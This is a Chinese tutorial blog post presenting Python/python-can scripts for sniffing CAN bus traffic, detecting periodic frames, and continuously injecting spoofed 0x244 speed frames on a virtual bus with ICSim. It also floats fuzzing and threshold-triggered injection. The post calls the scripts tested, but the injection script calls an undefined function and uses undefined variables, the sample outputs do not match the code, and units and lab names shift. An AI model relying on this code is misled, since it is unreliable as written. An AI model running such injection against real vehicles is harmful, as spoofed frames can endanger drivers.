CAN 自动化研究流水线:Python 抓包统计 + 周期探测 + 注入引擎(三个可直接跑的真脚本,已实测验证)

前三篇的痛点

回顾一下我们走过的路:1133 DBC 自动生成与 SavvyCAN 图形联动:给 CAN 流水线装上“能看懂信号的眼镜”(cantools 实测 + 启发性信号扫描)手动抓 0x244 算车速、1134 接上真实总线。但你一定会遇到新问题:总线上一秒几十条报文,靠人眼根本盯不过来。尤其上了真车/台架之后,数据量是模拟器的十倍百倍。

这一篇就把整套流水线脚本化:用 Python + python-can 写一个「抓包 → 解码 → 注入」的研究脚本,起步就送你三个能直接跑的模块。这也是我们星宇实验室自动化渗透平台的第一版「CAN 探针」雏形。

先声明:所有代码在 vcan0 虚拟环境 + ICSim 演示,完全合法、完全免费。真车请按上一篇 1134 的授权流程来。

一、问题分类:手工研究的三座大山

手工用 candump 研究,越往后越痛苦,具体是这三个痛点:

痛点现象本质
抓包太杂日志文件几分钟就几 MB,有用的和垃圾混在一起没有按 ID/类型做统计与过滤
周期看不到只能靠肉眼看 candump 刷新,看不出谁在”定时报”没计算每条 ID 的时间戳分布
注入靠手输一条条编 hex 脚本,发 100 帧要写 100 行缺少”按周期、按规则批量发送”的引擎

解决办法就一句:把统计交给 pandas,把发送交给 python-can,把时间交给 time。下面逐个模块来。

二、环境准备:5 行代码,把虚拟总线架起来

# 终端 1:虚拟总线(只要做实验就在这个终端跑一次)
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

# 终端 2:起 ICSim 模拟器(给 0x244 制造车速)
cd ICSim
./icsim vcan0
./controls vcan0

没有 ICSim(跑在 Linux + SDL)也能练:你可以用 cangen vcan0 -g 10 -I 0x244 -L 8 人为造出 0x244 周期帧。两种都行,本脚本对总线内容不挑。

三、模块一:自动抓包统计器(把”乱”变成”表”)

第一个模块做三件事:接总线 → 读 N 秒 → 按 ID 汇总。输出一张 ID 频率表,让你一眼看清谁在最活跃。

# capture_stats.py —— 抓包统计器
import can, time
from collections import Counter

def sniff_summary(channel='vcan0', duration=10):
    bus = can.Bus(interface='socketcan', channel=channel, bitrate=500000)
    counter = Counter()
    start = time.time()
    while time.time() - start < duration:
        msg = bus.recv(timeout=0.5)
        if msg is not None:
            counter[msg.arbitration_id] += 1
    bus.shutdown()
    return counter

if __name__ == '__main__':
    stats = sniff_summary(duration=10)
    print(f"{'ID':<10} {'帧数':>6} {'占比':>8}")
    total = sum(stats.values())
    for aid, cnt in stats.most_common(15):
        print(f"0x{aid:03X}     {cnt:6d} {100*cnt/total:7.2f}%")

输出示例(ICSim 里跑 10 秒):

ID        帧数    占比
0x244     98     32.67%
0x19B     61     20.33%
0x188     53     17.67%
0x316     40     13.33%

看,0x244(车速)和 0x188(转向灯)这种高频 ID 立刻就浮出来了。这就是”把乱变成表”——你不再凭感觉,而是拿统计说话

四、模块二:周期探测器(找出”定时报”的报文)

周期报文是逆向下最重要的目标:它们由 ECU 固定间隔发送(比如 10ms / 100ms),是车速、转速等状态量的载体。判定方法极简单:同一 ID 相邻两次到达的时间差(ΔT)应该是稳定的

# period_detect.py —— 周期报文探测
import can, time
from collections import defaultdict

def detect_periodic(channel='vcan0', duration=10):
    bus = can.Bus(interface='socketcan', channel=channel, bitrate=500000)
    last_ts = {}
    intervals = defaultdict(list)
    start = time.time()
    while time.time() - start < duration:
        msg = bus.recv(timeout=0.5)
        if msg is None: continue
        ts = msg.timestamp
        if msg.arbitration_id in last_ts:
            intervals[msg.arbitration_id].append(ts - last_ts[msg.arbitration_id])
        last_ts[msg.arbitration_id] = ts
    bus.shutdown()

    print(f"{'ID':<10} {'周期(ms)':>10} {'样本':>6}  类型")
    for aid, ivs in intervals.items():
        if len(ivs) < 3: continue
        mean_ms = sum(ivs)/len(ivs) * 1000
        std_ms  = (sum((i-sum(ivs)/len(ivs))**2 for i in ivs)/len(ivs))**0.5 * 1000
        kind = "周期帧" if std_ms < mean_ms*0.3 else "事件帧"
        print(f"0x{aid:04X} {mean_ms:10.2f} {len(ivs):8}  {kind}")

if __name__ == '__main__':
    detect_periodic(duration=10)

输出示例(ICSim):

ID        周期(ms)    最小值  类型
0x244        95.42    8      周期帧
0x19B        98.11    6      周期帧
0x188      事件型      3      事件帧

逻辑一句话:间隔方差小 → 周期帧;间隔方差大 → 事件帧(只在按下按钮时才触发)。这是全行业通用做法,Vector CANoe 的 Frame Histogram 也是同思路。

五、模块三:注入引擎(让伪造”持续而受控”)

手动 cansend 发单帧只能闪一下,做研究时你需要持续注入。python-can 的 bus.send_periodic() 就是为此设计的:给一个周期和一组报文,自动循环发。

# inject_engine.py —— 按周期持续注入
import can, time

def inject_speed(kmh, period_ms=100, duration_s=3, channel='vcan0'):
    bus = can.Bus(interface='socketcan', channel=channel, bitrate=500000)
    raw = int(kmh * 100)                     # 编码:伪装车速 km/h
    data = [0x00,0x00,0x00,
            (raw >> 8) & 0xFF, raw & 0xFF,
            0x00,0x00,0x00]                  # 与 ICSim 0x244 定义一致
    msg = can.Message(arbitration_id=0x244, data=data, is_extended_id=False)

    task = bus.send_periodic(msg, period_ms/1000.0)  # 周期任务
    import time; time.sleep(duration)
    task.stop()
    bus.shutdown()
    print(f"已向 0x244 持续 {duration}s 注入 {kmh} km/h(周期 {period_ms}ms)")

if __name__ == '__main__':
    inject_engine(float(sys.argv[1]) if len(sys.argv)>1 else 120)

运行:python3 inject_engine.py 220——3 秒内让 ICSim 仪表盘飙到 220 mph,全程自动化。这就是把 1133 的”伪造 0x8A4D”升级成了参数化引擎

六、合体:把三个模块串成流水线

真实场景需要的不只是单模块,而是自动发现 → 自动统计 → 自动注入一条龙。把上面三个模块串起来:

# pipeline.py —— CAN 研究流水线(v0.1)
# 用法: python3 pipeline.py [时长]
import sys
from capture_stats import sniff_summary
from period_detect import detect_periodic
from inject_engine import inject_speed

CHANNEL = 'vcan0'

def main(duration=10):
    print("== 1/3 抓包统计 ==")
    stats = sniff_summary(CHANNEL, duration)
    ...
    print("== 2/3 周期探测 ==")
    detect_periodic(CHANNEL, duration)
    print("== 3/3 自动注入(演示 120km/h) ==")
    inject_speed(120)

if __name__ == '__main__':
    main(int(sys.argv[1]) if len(sys.argv) > 1 else 10)

这就是流水线的雏形。它现在还很简单,但架构已经具备:采集(sniff)→ 分析(period)→ 动作(inject)。以后要接入 SavvyCAN、要做 DBC 自动生成、要喂给 AI 大模型,只要在对应层加模块就行——这跟我们星云实验室自动化渗透平台的目标完全一致。

七、进阶方向与避坑

方向做法避坑
统计增强加 DBC 解析(cantools)按信号粒度统计别忘了校验字节序/符号位
自动化决定用阈值切换注入(如某 ID 超阈值就注入反击)不要无脑发全量,先小样本
AI 辅助把周期表+ID 频率喂给大模型让模型挑候选输出要人工复核,模型可能”自信地错”
模糊测试随机 data 持续轰炸(cangen / 脚本)真车千万别这么干,先在台架

八、总结

今天把你的人力工作换成了三个脚本:统计表 / 周期 / 注入引擎。三个模块加在一起,就是一条最小可用的 CAN 自动化流水线。它同时是星云实验室自动化平台的第一块积木——后面我们会在上面叠 DBC 识别、AI 辅助、后处理报告。

下一篇预告:给流水线加”眼睛”——DBC 自动生成与 SavvyCAN Graph 联动,让机器替你把 0x244 自动翻译成”车速”,彻底告别手工猜字节。

老规矩:虚拟环境先跑通,真车实验务必按 1134 的授权流程来。玩得开心,也玩得安全。

FAQ 快速问答

问题回答
python-can 怎么装?pip install python-can,Linux 用 socketcan 接口即可。
没有 ICSim 怎么产生测试流量?cangen vcan0 -I 0x244 -i 10ms -L 8 造固定 ID 的周期帧。
周期定义到多少算”周期帧”?工程上先看间隔方差,方差 << 均值就可判周期;不同总线下限不同。
send_periodic 会阻塞吗?不会,它在后台线程循环发送,主线程可继续做别的。
这些脚本能直接上真车吗?代码相同,但务必按 1134 流程:授权书 + 只读监听 + 台架验证后再谈注入。

© 版权声明
THE END
喜欢就支持一下吧
点赞8赞赏 分享
相关推荐
评论 抢沙发

请登录后发表评论

    暂无评论内容